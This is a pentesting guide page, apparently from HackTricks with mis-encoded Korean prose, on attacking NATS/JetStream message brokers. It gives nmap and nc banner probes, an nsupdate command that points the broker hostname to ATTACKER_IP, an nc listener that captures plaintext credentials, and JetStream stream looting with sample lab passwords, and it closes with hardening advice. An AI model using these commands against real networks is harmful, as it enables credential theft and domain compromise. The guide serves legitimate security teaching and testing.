4222 - Pentesting NATS / JetStream
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
NATS ๋ ๊ฐ๋จํ ํ
์คํธ ๊ธฐ๋ฐ ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ ๊ณ ์ฑ๋ฅ ๋ฉ์์ง ๋ฒ์ค์
๋๋ค: ์๋ฒ๋ TCP ์ฐ๊ฒฐ ์งํ INFO { ... } JSON ๋ฐฐ๋๋ฅผ ์ ์กํ๊ณ , ํด๋ผ์ด์ธํธ๋ CONNECT {"user":"USERNAME","pass":"PASSWORD",...} ํ๋ ์์ผ๋ก ์๋ตํ ๋ค ์ ํ์ ์ผ๋ก PING/PUB/SUB ๋ช
๋ น์ ๋ณด๋
๋๋ค. JetStream์ ๋์ผํ TCP ํฌํธ(4222/tcp) ์์ persistence primitives (Streams & Consumers)๋ฅผ ์ถ๊ฐํฉ๋๋ค. TLS์ ์ธ์ฆ์ ์ ํ ์ฌํญ์ด๋ฏ๋ก, ๋ง์ ๋ด๋ถ ๋ฐฐํฌ๋ plaintext AUTH ๋ก ์ด์๋ฉ๋๋ค.
- ๊ธฐ๋ณธ ํฌํธ: 4222/tcp (ํด๋ฌ์คํฐ๋ routes๋ 4223+)
- ๊ธฐ๋ณธ ๋ฐฐ๋ ํ๋:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeration
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
INFO ํ๋ ์์ ์๋์ผ๋ก ๊ฐ์ ธ์ฌ ์๋ ์์ต๋๋ค:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
๋ ๊น์ ์ํธ์์ฉ์ ์ํด ๊ณต์ CLI (Go โฅ1.21)๋ฅผ ์ค์นํ์ธ์:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
์ธ์ฆ ์คํจ ์ ์ฆ์ nats: Authorization Violation๊ฐ ๋ฐ์ํ๋ฏ๋ก, ์๋ฏธ ์๋ RPC๋ฅผ ์ํํ๋ ค๋ฉด ์ ํจํ ์๊ฒฉ ์ฆ๋ช
์ด ํ์ํฉ๋๋ค.
DNS/์๋น์ค ์ฌ์นญ์ ํตํ ์๊ฒฉ ์ฆ๋ช ํ์ทจ
- ๋ธ๋ก์ปค ํธ์คํธ๋ช
(์:
nats-svc.domain.local)์ ๋ํ ์ค๋๋ AD DNS ํญ๋ชฉ์ ์๋ณํฉ๋๋ค. ํด๋น ๋ ์ฝ๋๊ฐNXDOMAIN์ ๋ฐํํ๋ฉด ๊ธฐ๋ณธ dynamic-update ACLs ๋๋ถ์ ๊ถํ์ด ๋ฎ์ ๋๋ฉ์ธ ์ฌ์ฉ์๊ฐ ๋ ์ฝ๋๋ฅผ ์ฌ์์ฑํ ์ ์์ต๋๋ค. ๋ฐฐ๊ฒฝ์ AD DNS Records abuse์ ์ฐธ์กฐํ์ญ์์ค. - ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ IP๋ก ํธ์คํธ๋ช ์ ๋ฑ๋กํฉ๋๋ค:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- ์ ์ ๋ฐฐ๋๋ฅผ ํ ๋ฒ ๋ฏธ๋ฌํ ๋ค์, ์ฐ๊ฒฐ๋๋ ๋ชจ๋ ํด๋ผ์ด์ธํธ์ ์ฌ์ํฉ๋๋ค. NATS๋ ์ฒ์ ๋ณด๋
INFO๋ผ์ธ์ ์ ๋ขฐํ๋ฏ๋ก, ์ฐ๋ฆฌ๋ ๋จ์ง ๊ทธ๊ฒ์ listener๋ฅผ ํตํด pipeํ๋ฉด ๋ฉ๋๋ค:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- ๋ด๋ถ ํด๋ผ์ด์ธํธ๊ฐ ํ์ด์ฌํน๋ ์ด๋ฆ์ ํด์ํ์๋ง์,
user/pass์๊ณผ ์ฌ๋ฌ ํ ๋ ๋ฉํธ๋ฆฌ(ํด๋ผ์ด์ธํธ ์ด๋ฆ, Go ๋ฒ์ , ํ๋กํ ์ฝ ๋ ๋ฒจ)๋ฅผ ํฌํจํ ํ๋ฌธCONNECTํ๋ ์์ ์ ์กํฉ๋๋ค. INFO ๋ฐฐ๋ ์ดํ์ ์ด๋ค ๊ฒ๋ ํ์ํ์ง ์๊ธฐ ๋๋ฌธ์, ์ฌ์ง์ดnc๋ง์ผ๋ก๋ ๋น๋ฐ์ ์์งํ ์ ์์ต๋๋ค. - ๋ ๊ธด ์์
์์๋ ๊ณต์ ์๋ฒ๋ฅผ ๋ก์ปฌ์์ ์คํํ์ธ์ (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE ๋ก๊น ์ ์ด๋ฏธ ์ฌ์ฉ์๋ช ์ ํ์ํฉ๋๋ค; redaction helper๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋ Wireshark๋ก ํธ๋ํฝ์ ์ค๋ํํ๋ฉด ์ ์ฒด ๋น๋ฐ๋ฒํธ๊ฐ ๋๋ฌ๋ฉ๋๋ค.
JetStream looting & password hunting
์ผ๋จ ์๊ฒฉ ์ฆ๋ช
(์: Dev_Account_A)์ ํ๋ํ๋ฉด, CLI ์ปจํ
์คํธ๋ก ์ ์ฅํด ์ฌ์
๋ ฅํ์ง ์๋๋ก ํ์ธ์:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream ๋ฐ๊ฒฌ์ ์ผ๋ฐ์ ์ผ๋ก ๋ค์ ํจํด์ ๋ฐ๋ฆ ๋๋ค:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Streaming teams๋ ์์ฃผ logs.auth์ ๊ฐ์ subjects์ ์ธ์ฆ ์ด๋ฒคํธ๋ฅผ ๊ธฐ๋กํฉ๋๋ค. ๊ฐ๋ฐ์๊ฐ raw JSON์ JetStream stream์ ์ ์ฅํ๋ฉด, payloads์ plaintext AD usernames and passwords๊ฐ ํฌํจ๋ ์ ์์ต๋๋ค:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.
ํ๋๋ & ํ์ง
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds). ์ํธํ๊ฐ ์์ผ๋ฉด INFO/CONNECT leaks credentials to anyone on-path. - Pinpoint who can update DNS โ ์๋น์ค ๋ ์ฝ๋๋ฅผ ์ ๋ด ๊ณ์ ์ ์์ํ๊ณ Event IDs 257/252๋ฅผ ๊ฐ์ฌํ์ฌ ์ค์ ํธ์คํธ๋ช ์ ๋ณดํธํ์ธ์. scavenging alerts์ ๊ฒฐํฉํด ๋๋ฝ๋ broker names๊ฐ ์กฐ์ฉํ re-claimed๋์ง ์๋๋ก ํ์ธ์.
- Disable credential logging. subjects์ ๊ฒ์ํ๊ธฐ ์ ์ secrets๋ฅผ scrubํ๊ณ , JetStream retention/age ์ ํ์ ์ค์ ํ๋ฉฐ
deny_delete=false๋ ์ ๋ขฐ๋ ์ด์์์๊ฒ๋ง ์ ์ฉํ์ธ์. - Monitor for banner anomalies โ ๋ฐ๋ณต๋๋ ์งง์ ์ฐ๊ฒฐ, ์ธ์ฆ ํ์์์, ๋๋ ์น์ธ๋ ํ ํ๋ฆฟ๊ณผ ์ผ์นํ์ง ์๋ INFO ๋ฐฐ๋๋ spoofed servers๋ฅผ ์์ฌํฉ๋๋ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


